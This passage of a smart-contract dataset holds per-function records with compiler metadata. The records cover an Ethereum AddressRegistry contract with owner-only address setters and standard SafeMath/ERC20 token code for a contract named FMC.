function updateMarketplace(address _marketplace) external onlyOwner { marketplace = _marketplace; }
/** @notice Update Marketplace contract @dev Only admin */
NatSpecMultiLine
v0.6.12+commit.27d51765
{ "func_code_index": [ 1354, 1469 ] }
7,020
AddressRegistry
contracts/AddressRegistry.sol
0xf0f1dacd48b78b95545332cc5eb6a12a9bcffa1d
Solidity
AddressRegistry
contract AddressRegistry is Ownable { bytes4 private constant INTERFACE_ID_ERC721 = 0x80ac58cd; /// @notice Grapes contract address public grapes; /// @notice Auction contract address public auction; /// @notice Marketplace contract address public marketplace; /// @notice BundleMarketplace contract address public bundleMarketplace; /// @notice NFTFactory contract address public factory; /// @notice NFTFactoryPrivate contract address public privateFactory; /// @notice ArtFactory contract address public artFactory; /// @notice ArtFactoryPrivate contract address public privateArtFactory; /// @notice TokenRegistry contract address public tokenRegistry; /// @notice PriceFeed contract address public priceFeed; /** @notice Update grapes contract @dev Only admin */ function updateGrapes(address _grapes) external onlyOwner { require( IERC165(_grapes).supportsInterface(INTERFACE_ID_ERC721), "Not ERC721" ); grapes = _grapes; } /** @notice Update Auction contract @dev Only admin */ function updateAuction(address _auction) external onlyOwner { auction = _auction; } /** @notice Update Marketplace contract @dev Only admin */ function updateMarketplace(address _marketplace) external onlyOwner { marketplace = _marketplace; } /** @notice Update BundleMarketplace contract @dev Only admin */ function updateBundleMarketplace(address _bundleMarketplace) external onlyOwner { bundleMarketplace = _bundleMarketplace; } /** @notice Update NFTFactory contract @dev Only admin */ function updateNFTFactory(address _factory) external onlyOwner { factory = _factory; } /** @notice Update NFTFactoryPrivate contract @dev Only admin */ function updateNFTFactoryPrivate(address _privateFactory) external onlyOwner { privateFactory = _privateFactory; } /** @notice Update ArtFactory contract @dev Only admin */ function updateArtFactory(address _artFactory) external onlyOwner { artFactory = _artFactory; } /** @notice Update ArtFactoryPrivate contract @dev Only admin */ function updateArtFactoryPrivate(address _privateArtFactory) external onlyOwner { privateArtFactory = _privateArtFactory; } /** @notice Update token registry contract @dev Only admin */ function updateTokenRegistry(address _tokenRegistry) external onlyOwner { tokenRegistry = _tokenRegistry; } /** @notice Update price feed contract @dev Only admin */ function updatePriceFeed(address _priceFeed) external onlyOwner { priceFeed = _priceFeed; } }
updateBundleMarketplace
function updateBundleMarketplace(address _bundleMarketplace) external onlyOwner { bundleMarketplace = _bundleMarketplace; }
/** @notice Update BundleMarketplace contract @dev Only admin */
NatSpecMultiLine
v0.6.12+commit.27d51765
{ "func_code_index": [ 1555, 1714 ] }
7,021
AddressRegistry
contracts/AddressRegistry.sol
0xf0f1dacd48b78b95545332cc5eb6a12a9bcffa1d
Solidity
AddressRegistry
contract AddressRegistry is Ownable { bytes4 private constant INTERFACE_ID_ERC721 = 0x80ac58cd; /// @notice Grapes contract address public grapes; /// @notice Auction contract address public auction; /// @notice Marketplace contract address public marketplace; /// @notice BundleMarketplace contract address public bundleMarketplace; /// @notice NFTFactory contract address public factory; /// @notice NFTFactoryPrivate contract address public privateFactory; /// @notice ArtFactory contract address public artFactory; /// @notice ArtFactoryPrivate contract address public privateArtFactory; /// @notice TokenRegistry contract address public tokenRegistry; /// @notice PriceFeed contract address public priceFeed; /** @notice Update grapes contract @dev Only admin */ function updateGrapes(address _grapes) external onlyOwner { require( IERC165(_grapes).supportsInterface(INTERFACE_ID_ERC721), "Not ERC721" ); grapes = _grapes; } /** @notice Update Auction contract @dev Only admin */ function updateAuction(address _auction) external onlyOwner { auction = _auction; } /** @notice Update Marketplace contract @dev Only admin */ function updateMarketplace(address _marketplace) external onlyOwner { marketplace = _marketplace; } /** @notice Update BundleMarketplace contract @dev Only admin */ function updateBundleMarketplace(address _bundleMarketplace) external onlyOwner { bundleMarketplace = _bundleMarketplace; } /** @notice Update NFTFactory contract @dev Only admin */ function updateNFTFactory(address _factory) external onlyOwner { factory = _factory; } /** @notice Update NFTFactoryPrivate contract @dev Only admin */ function updateNFTFactoryPrivate(address _privateFactory) external onlyOwner { privateFactory = _privateFactory; } /** @notice Update ArtFactory contract @dev Only admin */ function updateArtFactory(address _artFactory) external onlyOwner { artFactory = _artFactory; } /** @notice Update ArtFactoryPrivate contract @dev Only admin */ function updateArtFactoryPrivate(address _privateArtFactory) external onlyOwner { privateArtFactory = _privateArtFactory; } /** @notice Update token registry contract @dev Only admin */ function updateTokenRegistry(address _tokenRegistry) external onlyOwner { tokenRegistry = _tokenRegistry; } /** @notice Update price feed contract @dev Only admin */ function updatePriceFeed(address _priceFeed) external onlyOwner { priceFeed = _priceFeed; } }
updateNFTFactory
function updateNFTFactory(address _factory) external onlyOwner { factory = _factory; }
/** @notice Update NFTFactory contract @dev Only admin */
NatSpecMultiLine
v0.6.12+commit.27d51765
{ "func_code_index": [ 1793, 1895 ] }
7,022
AddressRegistry
contracts/AddressRegistry.sol
0xf0f1dacd48b78b95545332cc5eb6a12a9bcffa1d
Solidity
AddressRegistry
contract AddressRegistry is Ownable { bytes4 private constant INTERFACE_ID_ERC721 = 0x80ac58cd; /// @notice Grapes contract address public grapes; /// @notice Auction contract address public auction; /// @notice Marketplace contract address public marketplace; /// @notice BundleMarketplace contract address public bundleMarketplace; /// @notice NFTFactory contract address public factory; /// @notice NFTFactoryPrivate contract address public privateFactory; /// @notice ArtFactory contract address public artFactory; /// @notice ArtFactoryPrivate contract address public privateArtFactory; /// @notice TokenRegistry contract address public tokenRegistry; /// @notice PriceFeed contract address public priceFeed; /** @notice Update grapes contract @dev Only admin */ function updateGrapes(address _grapes) external onlyOwner { require( IERC165(_grapes).supportsInterface(INTERFACE_ID_ERC721), "Not ERC721" ); grapes = _grapes; } /** @notice Update Auction contract @dev Only admin */ function updateAuction(address _auction) external onlyOwner { auction = _auction; } /** @notice Update Marketplace contract @dev Only admin */ function updateMarketplace(address _marketplace) external onlyOwner { marketplace = _marketplace; } /** @notice Update BundleMarketplace contract @dev Only admin */ function updateBundleMarketplace(address _bundleMarketplace) external onlyOwner { bundleMarketplace = _bundleMarketplace; } /** @notice Update NFTFactory contract @dev Only admin */ function updateNFTFactory(address _factory) external onlyOwner { factory = _factory; } /** @notice Update NFTFactoryPrivate contract @dev Only admin */ function updateNFTFactoryPrivate(address _privateFactory) external onlyOwner { privateFactory = _privateFactory; } /** @notice Update ArtFactory contract @dev Only admin */ function updateArtFactory(address _artFactory) external onlyOwner { artFactory = _artFactory; } /** @notice Update ArtFactoryPrivate contract @dev Only admin */ function updateArtFactoryPrivate(address _privateArtFactory) external onlyOwner { privateArtFactory = _privateArtFactory; } /** @notice Update token registry contract @dev Only admin */ function updateTokenRegistry(address _tokenRegistry) external onlyOwner { tokenRegistry = _tokenRegistry; } /** @notice Update price feed contract @dev Only admin */ function updatePriceFeed(address _priceFeed) external onlyOwner { priceFeed = _priceFeed; } }
updateNFTFactoryPrivate
function updateNFTFactoryPrivate(address _privateFactory) external onlyOwner { privateFactory = _privateFactory; }
/** @notice Update NFTFactoryPrivate contract @dev Only admin */
NatSpecMultiLine
v0.6.12+commit.27d51765
{ "func_code_index": [ 1981, 2131 ] }
7,023
AddressRegistry
contracts/AddressRegistry.sol
0xf0f1dacd48b78b95545332cc5eb6a12a9bcffa1d
Solidity
AddressRegistry
contract AddressRegistry is Ownable { bytes4 private constant INTERFACE_ID_ERC721 = 0x80ac58cd; /// @notice Grapes contract address public grapes; /// @notice Auction contract address public auction; /// @notice Marketplace contract address public marketplace; /// @notice BundleMarketplace contract address public bundleMarketplace; /// @notice NFTFactory contract address public factory; /// @notice NFTFactoryPrivate contract address public privateFactory; /// @notice ArtFactory contract address public artFactory; /// @notice ArtFactoryPrivate contract address public privateArtFactory; /// @notice TokenRegistry contract address public tokenRegistry; /// @notice PriceFeed contract address public priceFeed; /** @notice Update grapes contract @dev Only admin */ function updateGrapes(address _grapes) external onlyOwner { require( IERC165(_grapes).supportsInterface(INTERFACE_ID_ERC721), "Not ERC721" ); grapes = _grapes; } /** @notice Update Auction contract @dev Only admin */ function updateAuction(address _auction) external onlyOwner { auction = _auction; } /** @notice Update Marketplace contract @dev Only admin */ function updateMarketplace(address _marketplace) external onlyOwner { marketplace = _marketplace; } /** @notice Update BundleMarketplace contract @dev Only admin */ function updateBundleMarketplace(address _bundleMarketplace) external onlyOwner { bundleMarketplace = _bundleMarketplace; } /** @notice Update NFTFactory contract @dev Only admin */ function updateNFTFactory(address _factory) external onlyOwner { factory = _factory; } /** @notice Update NFTFactoryPrivate contract @dev Only admin */ function updateNFTFactoryPrivate(address _privateFactory) external onlyOwner { privateFactory = _privateFactory; } /** @notice Update ArtFactory contract @dev Only admin */ function updateArtFactory(address _artFactory) external onlyOwner { artFactory = _artFactory; } /** @notice Update ArtFactoryPrivate contract @dev Only admin */ function updateArtFactoryPrivate(address _privateArtFactory) external onlyOwner { privateArtFactory = _privateArtFactory; } /** @notice Update token registry contract @dev Only admin */ function updateTokenRegistry(address _tokenRegistry) external onlyOwner { tokenRegistry = _tokenRegistry; } /** @notice Update price feed contract @dev Only admin */ function updatePriceFeed(address _priceFeed) external onlyOwner { priceFeed = _priceFeed; } }
updateArtFactory
function updateArtFactory(address _artFactory) external onlyOwner { artFactory = _artFactory; }
/** @notice Update ArtFactory contract @dev Only admin */
NatSpecMultiLine
v0.6.12+commit.27d51765
{ "func_code_index": [ 2210, 2321 ] }
7,024
AddressRegistry
contracts/AddressRegistry.sol
0xf0f1dacd48b78b95545332cc5eb6a12a9bcffa1d
Solidity
AddressRegistry
contract AddressRegistry is Ownable { bytes4 private constant INTERFACE_ID_ERC721 = 0x80ac58cd; /// @notice Grapes contract address public grapes; /// @notice Auction contract address public auction; /// @notice Marketplace contract address public marketplace; /// @notice BundleMarketplace contract address public bundleMarketplace; /// @notice NFTFactory contract address public factory; /// @notice NFTFactoryPrivate contract address public privateFactory; /// @notice ArtFactory contract address public artFactory; /// @notice ArtFactoryPrivate contract address public privateArtFactory; /// @notice TokenRegistry contract address public tokenRegistry; /// @notice PriceFeed contract address public priceFeed; /** @notice Update grapes contract @dev Only admin */ function updateGrapes(address _grapes) external onlyOwner { require( IERC165(_grapes).supportsInterface(INTERFACE_ID_ERC721), "Not ERC721" ); grapes = _grapes; } /** @notice Update Auction contract @dev Only admin */ function updateAuction(address _auction) external onlyOwner { auction = _auction; } /** @notice Update Marketplace contract @dev Only admin */ function updateMarketplace(address _marketplace) external onlyOwner { marketplace = _marketplace; } /** @notice Update BundleMarketplace contract @dev Only admin */ function updateBundleMarketplace(address _bundleMarketplace) external onlyOwner { bundleMarketplace = _bundleMarketplace; } /** @notice Update NFTFactory contract @dev Only admin */ function updateNFTFactory(address _factory) external onlyOwner { factory = _factory; } /** @notice Update NFTFactoryPrivate contract @dev Only admin */ function updateNFTFactoryPrivate(address _privateFactory) external onlyOwner { privateFactory = _privateFactory; } /** @notice Update ArtFactory contract @dev Only admin */ function updateArtFactory(address _artFactory) external onlyOwner { artFactory = _artFactory; } /** @notice Update ArtFactoryPrivate contract @dev Only admin */ function updateArtFactoryPrivate(address _privateArtFactory) external onlyOwner { privateArtFactory = _privateArtFactory; } /** @notice Update token registry contract @dev Only admin */ function updateTokenRegistry(address _tokenRegistry) external onlyOwner { tokenRegistry = _tokenRegistry; } /** @notice Update price feed contract @dev Only admin */ function updatePriceFeed(address _priceFeed) external onlyOwner { priceFeed = _priceFeed; } }
updateArtFactoryPrivate
function updateArtFactoryPrivate(address _privateArtFactory) external onlyOwner { privateArtFactory = _privateArtFactory; }
/** @notice Update ArtFactoryPrivate contract @dev Only admin */
NatSpecMultiLine
v0.6.12+commit.27d51765
{ "func_code_index": [ 2407, 2566 ] }
7,025
AddressRegistry
contracts/AddressRegistry.sol
0xf0f1dacd48b78b95545332cc5eb6a12a9bcffa1d
Solidity
AddressRegistry
contract AddressRegistry is Ownable { bytes4 private constant INTERFACE_ID_ERC721 = 0x80ac58cd; /// @notice Grapes contract address public grapes; /// @notice Auction contract address public auction; /// @notice Marketplace contract address public marketplace; /// @notice BundleMarketplace contract address public bundleMarketplace; /// @notice NFTFactory contract address public factory; /// @notice NFTFactoryPrivate contract address public privateFactory; /// @notice ArtFactory contract address public artFactory; /// @notice ArtFactoryPrivate contract address public privateArtFactory; /// @notice TokenRegistry contract address public tokenRegistry; /// @notice PriceFeed contract address public priceFeed; /** @notice Update grapes contract @dev Only admin */ function updateGrapes(address _grapes) external onlyOwner { require( IERC165(_grapes).supportsInterface(INTERFACE_ID_ERC721), "Not ERC721" ); grapes = _grapes; } /** @notice Update Auction contract @dev Only admin */ function updateAuction(address _auction) external onlyOwner { auction = _auction; } /** @notice Update Marketplace contract @dev Only admin */ function updateMarketplace(address _marketplace) external onlyOwner { marketplace = _marketplace; } /** @notice Update BundleMarketplace contract @dev Only admin */ function updateBundleMarketplace(address _bundleMarketplace) external onlyOwner { bundleMarketplace = _bundleMarketplace; } /** @notice Update NFTFactory contract @dev Only admin */ function updateNFTFactory(address _factory) external onlyOwner { factory = _factory; } /** @notice Update NFTFactoryPrivate contract @dev Only admin */ function updateNFTFactoryPrivate(address _privateFactory) external onlyOwner { privateFactory = _privateFactory; } /** @notice Update ArtFactory contract @dev Only admin */ function updateArtFactory(address _artFactory) external onlyOwner { artFactory = _artFactory; } /** @notice Update ArtFactoryPrivate contract @dev Only admin */ function updateArtFactoryPrivate(address _privateArtFactory) external onlyOwner { privateArtFactory = _privateArtFactory; } /** @notice Update token registry contract @dev Only admin */ function updateTokenRegistry(address _tokenRegistry) external onlyOwner { tokenRegistry = _tokenRegistry; } /** @notice Update price feed contract @dev Only admin */ function updatePriceFeed(address _priceFeed) external onlyOwner { priceFeed = _priceFeed; } }
updateTokenRegistry
function updateTokenRegistry(address _tokenRegistry) external onlyOwner { tokenRegistry = _tokenRegistry; }
/** @notice Update token registry contract @dev Only admin */
NatSpecMultiLine
v0.6.12+commit.27d51765
{ "func_code_index": [ 2649, 2772 ] }
7,026
AddressRegistry
contracts/AddressRegistry.sol
0xf0f1dacd48b78b95545332cc5eb6a12a9bcffa1d
Solidity
AddressRegistry
contract AddressRegistry is Ownable { bytes4 private constant INTERFACE_ID_ERC721 = 0x80ac58cd; /// @notice Grapes contract address public grapes; /// @notice Auction contract address public auction; /// @notice Marketplace contract address public marketplace; /// @notice BundleMarketplace contract address public bundleMarketplace; /// @notice NFTFactory contract address public factory; /// @notice NFTFactoryPrivate contract address public privateFactory; /// @notice ArtFactory contract address public artFactory; /// @notice ArtFactoryPrivate contract address public privateArtFactory; /// @notice TokenRegistry contract address public tokenRegistry; /// @notice PriceFeed contract address public priceFeed; /** @notice Update grapes contract @dev Only admin */ function updateGrapes(address _grapes) external onlyOwner { require( IERC165(_grapes).supportsInterface(INTERFACE_ID_ERC721), "Not ERC721" ); grapes = _grapes; } /** @notice Update Auction contract @dev Only admin */ function updateAuction(address _auction) external onlyOwner { auction = _auction; } /** @notice Update Marketplace contract @dev Only admin */ function updateMarketplace(address _marketplace) external onlyOwner { marketplace = _marketplace; } /** @notice Update BundleMarketplace contract @dev Only admin */ function updateBundleMarketplace(address _bundleMarketplace) external onlyOwner { bundleMarketplace = _bundleMarketplace; } /** @notice Update NFTFactory contract @dev Only admin */ function updateNFTFactory(address _factory) external onlyOwner { factory = _factory; } /** @notice Update NFTFactoryPrivate contract @dev Only admin */ function updateNFTFactoryPrivate(address _privateFactory) external onlyOwner { privateFactory = _privateFactory; } /** @notice Update ArtFactory contract @dev Only admin */ function updateArtFactory(address _artFactory) external onlyOwner { artFactory = _artFactory; } /** @notice Update ArtFactoryPrivate contract @dev Only admin */ function updateArtFactoryPrivate(address _privateArtFactory) external onlyOwner { privateArtFactory = _privateArtFactory; } /** @notice Update token registry contract @dev Only admin */ function updateTokenRegistry(address _tokenRegistry) external onlyOwner { tokenRegistry = _tokenRegistry; } /** @notice Update price feed contract @dev Only admin */ function updatePriceFeed(address _priceFeed) external onlyOwner { priceFeed = _priceFeed; } }
updatePriceFeed
function updatePriceFeed(address _priceFeed) external onlyOwner { priceFeed = _priceFeed; }
/** @notice Update price feed contract @dev Only admin */
NatSpecMultiLine
v0.6.12+commit.27d51765
{ "func_code_index": [ 2851, 2958 ] }
7,027
FMC
FMC.sol
0x66d4f385c12927493cd205ed25bf21f1512f02ea
Solidity
SafeMath
library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
// produced by the Solididy File Flattener (c) David Appleton 2018 // contact : [email protected] // released under Apache 2.0 licence // input D:\Project\java\FanMei\src\main\solidity\FMC.sol // flattened : Wednesday, 09-Jan-19 14:12:44 UTC
LineComment
mul
function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; }
/** * @dev Multiplies two numbers, throws on overflow. */
NatSpecMultiLine
v0.4.25+commit.59dbf8f1
bzzr://7a0ccc9375b07b61ca670f527c5d0ceee8de9898d467ab47544bc70ad284ea8f
{ "func_code_index": [ 87, 270 ] }
7,028
FMC
FMC.sol
0x66d4f385c12927493cd205ed25bf21f1512f02ea
Solidity
SafeMath
library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
// produced by the Solididy File Flattener (c) David Appleton 2018 // contact : [email protected] // released under Apache 2.0 licence // input D:\Project\java\FanMei\src\main\solidity\FMC.sol // flattened : Wednesday, 09-Jan-19 14:12:44 UTC
LineComment
div
function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; }
/** * @dev Integer division of two numbers, truncating the quotient. */
NatSpecMultiLine
v0.4.25+commit.59dbf8f1
bzzr://7a0ccc9375b07b61ca670f527c5d0ceee8de9898d467ab47544bc70ad284ea8f
{ "func_code_index": [ 352, 632 ] }
7,029
FMC
FMC.sol
0x66d4f385c12927493cd205ed25bf21f1512f02ea
Solidity
SafeMath
library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
// produced by the Solididy File Flattener (c) David Appleton 2018 // contact : [email protected] // released under Apache 2.0 licence // input D:\Project\java\FanMei\src\main\solidity\FMC.sol // flattened : Wednesday, 09-Jan-19 14:12:44 UTC
LineComment
sub
function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; }
/** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */
NatSpecMultiLine
v0.4.25+commit.59dbf8f1
bzzr://7a0ccc9375b07b61ca670f527c5d0ceee8de9898d467ab47544bc70ad284ea8f
{ "func_code_index": [ 744, 860 ] }
7,030
FMC
FMC.sol
0x66d4f385c12927493cd205ed25bf21f1512f02ea
Solidity
SafeMath
library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
// produced by the Solididy File Flattener (c) David Appleton 2018 // contact : [email protected] // released under Apache 2.0 licence // input D:\Project\java\FanMei\src\main\solidity\FMC.sol // flattened : Wednesday, 09-Jan-19 14:12:44 UTC
LineComment
add
function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; }
/** * @dev Adds two numbers, throws on overflow. */
NatSpecMultiLine
v0.4.25+commit.59dbf8f1
bzzr://7a0ccc9375b07b61ca670f527c5d0ceee8de9898d467ab47544bc70ad284ea8f
{ "func_code_index": [ 922, 1058 ] }
7,031
FMC
FMC.sol
0x66d4f385c12927493cd205ed25bf21f1512f02ea
Solidity
BasicToken
contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } }
/** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */
NatSpecMultiLine
totalSupply
function totalSupply() public view returns (uint256) { return totalSupply_; }
/** * @dev Total number of tokens in existence */
NatSpecMultiLine
v0.4.25+commit.59dbf8f1
bzzr://7a0ccc9375b07b61ca670f527c5d0ceee8de9898d467ab47544bc70ad284ea8f
{ "func_code_index": [ 193, 281 ] }
7,032
FMC
FMC.sol
0x66d4f385c12927493cd205ed25bf21f1512f02ea
Solidity
BasicToken
contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } }
/** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */
NatSpecMultiLine
transfer
function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; }
/** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */
NatSpecMultiLine
v0.4.25+commit.59dbf8f1
bzzr://7a0ccc9375b07b61ca670f527c5d0ceee8de9898d467ab47544bc70ad284ea8f
{ "func_code_index": [ 437, 767 ] }
7,033
FMC
FMC.sol
0x66d4f385c12927493cd205ed25bf21f1512f02ea
Solidity
BasicToken
contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } }
/** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */
NatSpecMultiLine
balanceOf
function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; }
/** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */
NatSpecMultiLine
v0.4.25+commit.59dbf8f1
bzzr://7a0ccc9375b07b61ca670f527c5d0ceee8de9898d467ab47544bc70ad284ea8f
{ "func_code_index": [ 971, 1075 ] }
7,034
FMC
FMC.sol
0x66d4f385c12927493cd205ed25bf21f1512f02ea
Solidity
StandardToken
contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } }
/** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/issues/20 * Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */
NatSpecMultiLine
transferFrom
function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; }
/** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */
NatSpecMultiLine
v0.4.25+commit.59dbf8f1
bzzr://7a0ccc9375b07b61ca670f527c5d0ceee8de9898d467ab47544bc70ad284ea8f
{ "func_code_index": [ 395, 883 ] }
7,035
FMC
FMC.sol
0x66d4f385c12927493cd205ed25bf21f1512f02ea
Solidity
StandardToken
